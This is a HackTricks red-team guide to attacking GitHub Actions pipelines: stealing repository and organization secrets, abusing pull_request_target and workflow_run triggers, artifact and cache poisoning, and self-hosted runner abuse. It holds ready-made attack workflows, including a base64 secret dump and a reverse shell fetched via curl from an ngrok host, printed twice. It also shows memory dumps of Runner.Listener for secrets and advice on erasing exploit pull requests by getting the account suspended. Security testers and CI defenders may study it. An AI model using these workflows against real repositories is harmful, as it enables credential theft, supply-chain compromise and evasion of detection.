Abusing Github Actions

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

In this page you will find:

  • A summary of all the impacts of an attacker managing to access a Github Action

  • Different ways to get access to an action:

    • Having permissions to create the action

    • Abusing pull request related triggers

    • Abusing other external access techniques

    • Pivoting from an already compromised repo

  • Finally, a section about post-exploitation techniques to abuse an action from inside (cause the mentioned impacts)

Impacts Summary

For an introduction about Github Actions check the basic information.

In case you can execute arbitrary Github actions/inject code in a repository, you could be able to:

  • Steal the secrets from that repo/organization.

    • If you can only inject, you can steal whatever is already present in the workflow.

  • Abuse repo privileges to access other platforms such as AWS and GCP.

  • Execute code in custom workers (if custom workers are used) and try to pivot from there.

  • Overwrite repository code.

    • This depends on the privileges of the GITHUB_TOKEN (if any).

  • Compromise deployments and other artifacts.

    • If the code is deploying or storing something you could modify that and obtain some further access.

GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

# Merge PR
curl -X PUT \
    https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
    -H "Accept: application/vnd.github.v3+json" \
    --header "authorization: Bearer $GITHUB_TOKEN" \
    --header 'content-type: application/json' \
    -d '{"commit_title":"commit_title"}'

Note that in several occasions you will be able to find github user tokens inside Github Actions envs or in the secrets. These tokens may give you more privileges over the repository and organization.

List secrets in Github Action output
name: list_env
on:
  workflow_dispatch: # Launch manually
  pull_request: #Run it when a PR is created to a branch
    branches:
      - '**'
  push: # Run it when a push is made to a branch
    branches:
      - '**'
jobs:     
  List_env:
    runs-on: ubuntu-latest
    steps:
      - name: List Env
        # Need to base64 encode or github will change the secret value for "***"
        run: sh -c 'env | grep "secret_" | base64 -w0'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Get reverse shell with secrets
name: revshell
on:
  workflow_dispatch: # Launch manually
  pull_request: #Run it when a PR is created to a branch
    branches:
      - '**'
  push: # Run it when a push is made to a branch
    branches:
      - '**'
jobs:     
  create_pull_request:
    runs-on: ubuntu-latest
    steps:
      - name: Get Rev Shell
        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

It's possible to check the permissions given to a Github Token in other users repositories checking the logs of the actions:

Allowed Execution

This would be the easiest way to compromise Github actions, as this case suppose that you have access to create a new repo in the organization, or have write privileges over a repository.

If you are in this scenario you can just check the Post Exploitation techniques.

Execution from Repo Creation

In case members of an organization can create new repos and you can execute github actions, you can create a new repo and steal the secrets set at organization level.

Execution from a New Branch

If you can create a new branch in a repository that already contains a Github Action configured, you can modify it, upload the content, and then execute that action from the new branch. This way you can exfiltrate repository and organization level secrets (but you need to know how they are called).

You can make the modified action executable manually, when a PR is created or when some code is pushed (depending on how noisy you want to be):

on:
  workflow_dispatch: # Launch manually
  pull_request: #Run it when a PR is created to a branch
    branches:
      - master
  push: # Run it when a push is made to a branch
    branches:
      - current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

There are different triggers that could allow an attacker to execute a Github Action of another repository. If those triggerable actions are poorly configured, an attacker could be able to compromise them.

pull_request

The workflow trigger pull_request will execute the workflow every time a pull request is received with some exceptions: by default if it's the first time you are collaborating, some maintainer will need to approve the run of the workflow:

As the default limitation is for first-time contributors, you could contribute fixing a valid bug/typo and then send other PRs to abuse your new pull_request privileges.

I tested this and it doesn't work: Another option would be to create an account with the name of someone that contributed to the project and deleted his account.

Moreover, by default prevents write permissions and secrets access to the target repository as mentioned in the docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.

Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!

As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the GITHUB_TOKEN an attacker could for example upload malicious artifacts.

pull_request_target

The workflow trigger pull_request_target have write permission to the target repository and access to secrets (and doesn't ask for permission).

Note that the workflow trigger pull_request_target runs in the base context and not in the one given by the PR (to not execute untrusted code). For more info about pull_request_target check the docs. Moreover, for more info about this specific dangerous use check this github blog post.

It might look like because the executed workflow is the one defined in the base and not in the PR it's secure to use pull_request_target, but there are a few cases were it isn't.

An this one will have access to secrets.

workflow_run

The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.

In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:

on:
  workflow_run:
    workflows: [Run Tests]
    types:
      - completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be found this blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }} The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:

Untrusted checkout execution

In the case of pull_request, the workflow is going to be executed in the context of the PR (so it'll execute the malicious PRs code), but someone needs to authorize it first and it will run with some limitations.

In case of a workflow using pull_request_target or workflow_run that depends on a workflow that can be triggered from pull_request_target or pull_request the code from the original repo will be executed, so the attacker cannot control the executed code.

However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):

# INSECURE. Provided as an example only.
on:
  pull_request_target

jobs:
  build:
    name: Build and test
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

    - uses: actions/setup-node@v1
    - run: |
        npm install
        npm build

    - uses: completely/fakeaction@v2
      with:
        arg1: ${{ secrets.supersecret }}

    - uses: fakerepo/comment-on-pr@v1
      with:
        message: |
          Thank you!

The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.

A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).

Context Script Injections

Note that there are certain github contexts whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution:

pageGh Actions - Context Script Injections

GITHUB_ENV Script Injection

From the docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.

If an attacker could inject any value inside this env variable, he could inject env variables that could execute code in following steps such as LD_PRELOAD or NODE_OPTIONS.

For example (this and this), imagine a workflow that is trusting an uploaded artifact to store its content inside GITHUB_ENV env variable. An attacker could upload something like this to compromise it:

Vulnerable Third Party Github Actions

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

The thing problem is that if the path parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.

Example of vulnerable workflow:

on:
    workflow_run:
        workflows: ["some workflow"]
        types:
            - completed
            
jobs:
    success:
        runs-on: ubuntu-latest
        steps:
            - uses: actions/checkout@v2
            - name: download artifact
              uses: dawidd6/action-download-artifact
              with:
                workflow: ${{ github.event.workflow_run.workflow_id }}
                name: artifact
            - run: python ./script.py
              with:
                  name: artifact
                  path: ./script.py

This could be attacked with this workflow:

name: "some workflow"
on: pull_request

jobs:
    upload:
        runs-on: ubuntu-latest
        steps:
            - run: echo "print('exploited')" > ./script.py
            - uses actions/upload-artifact@v2
              with:
                name: artifact
                path: ./script.py

Other External Access

Deleted Namespace Repo Hijacking

If an account changes it's name another user could register an account with that name after some time. If a repository had less than 100 stars previously to the change of name, Github will allow the new register user with the same name to create a repository with the same name as the one deleted.

So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.

If other repositories where using dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

In this section we will talk about techniques that would allow to pivot from one repo to another supposing we have some kind of access on the first one (check the previous section).

Cache Poisoning

A cache is maintained between wokflow runs in the same branch. Which means that if an attacker compromise a package that is then stored in the cache and downloaded and executed by a more privileged workflow he will be able to compromise also that workflow.

pageGH Actions - Cache Poisoning

Artifact Poisoning

Workflows could use artifacts from other workflows and even repos, if an attacker manages to compromise the Github Action that uploads an artifact that is later used by another workflow he could compromise the other workflows:

pageGh Actions - Artifact Poisoning

Post Exploitation from an Action

Accessing AWS and GCP via OIDC

Check the following pages:

pageAWS - Federation AbusepageGCP - Federation Abuse

Accessing secrets

If you are injecting content into a script it's interesting to know how you can access secrets:

  • If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.

List secrets in Github Action output
name: list_env
on:
  workflow_dispatch: # Launch manually
  pull_request: #Run it when a PR is created to a branch
    branches:
      - '**'
  push: # Run it when a push is made to a branch
    branches:
      - '**'
jobs:     
  List_env:
    runs-on: ubuntu-latest
    steps:
      - name: List Env
        # Need to base64 encode or github will change the secret value for "***"
        run: sh -c 'env | grep "secret_" | base64 -w0'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

                    secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Get reverse shell with secrets
name: revshell
on:
  workflow_dispatch: # Launch manually
  pull_request: #Run it when a PR is created to a branch
    branches:
      - '**'
  push: # Run it when a push is made to a branch
    branches:
      - '**'
jobs:     
  create_pull_request:
    runs-on: ubuntu-latest
    steps:
      - name: Get Rev Shell
        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
        env:
          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.

    • cat /home/runner/work/_temp/*
  • For a JavaScript actions the secrets and sent through environment variables

    • ps axe | grep node
  • For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}

Abusing Self-hosted runners

The way to find which Github Actions are being executed in non-github infrastructure is to search for runs-on: self-hosted in the Github Action configuration yaml.

Self-hosted runners might have access to extra sensitive information, to other network systems (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, more than one action might be run at the same time and the malicious one could steal the secrets of the other one.

In self-hosted runners it's also possible to obtain the secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Github Docker Images Registry

It's possible to make Github actions that will build and store a Docker image inside Github. An example can be find in the following expandable:

Github Action Build & Push Docker Image
[...]

- name: Set up Docker Buildx
  uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
  uses: docker/login-action@v1
  with:
    registry: ghcr.io
    username: ${{ github.repository_owner }}
    password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
  run: |
    sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
  uses: docker/build-push-action@v2
    with:
      context: .
      push: true
      tags: |
        ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
        ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

As you could see in the previous code, the Github registry is hosted in ghcr.io.

A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Sensitive info in Github Actions logs

Even if Github try to detect secret values in the actions logs and avoid showing them, other sensitive data that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's specifically configured.

Covering your Tracks

(Technique from here) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we can’t delete a PR of the internet, but there is a twist. For Github accounts that are suspended by Github, all of their PRs are automatically deleted and removed from the internet. So in order to hide your activity you need to either get your GitHub account suspended or get your account flagged. This would hide all your activities on GitHub from the internet (basically remove all your exploit PR)

An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.

The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.

Tools

The following tools are useful to find Github Action workflows and even find vulnerable ones:

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated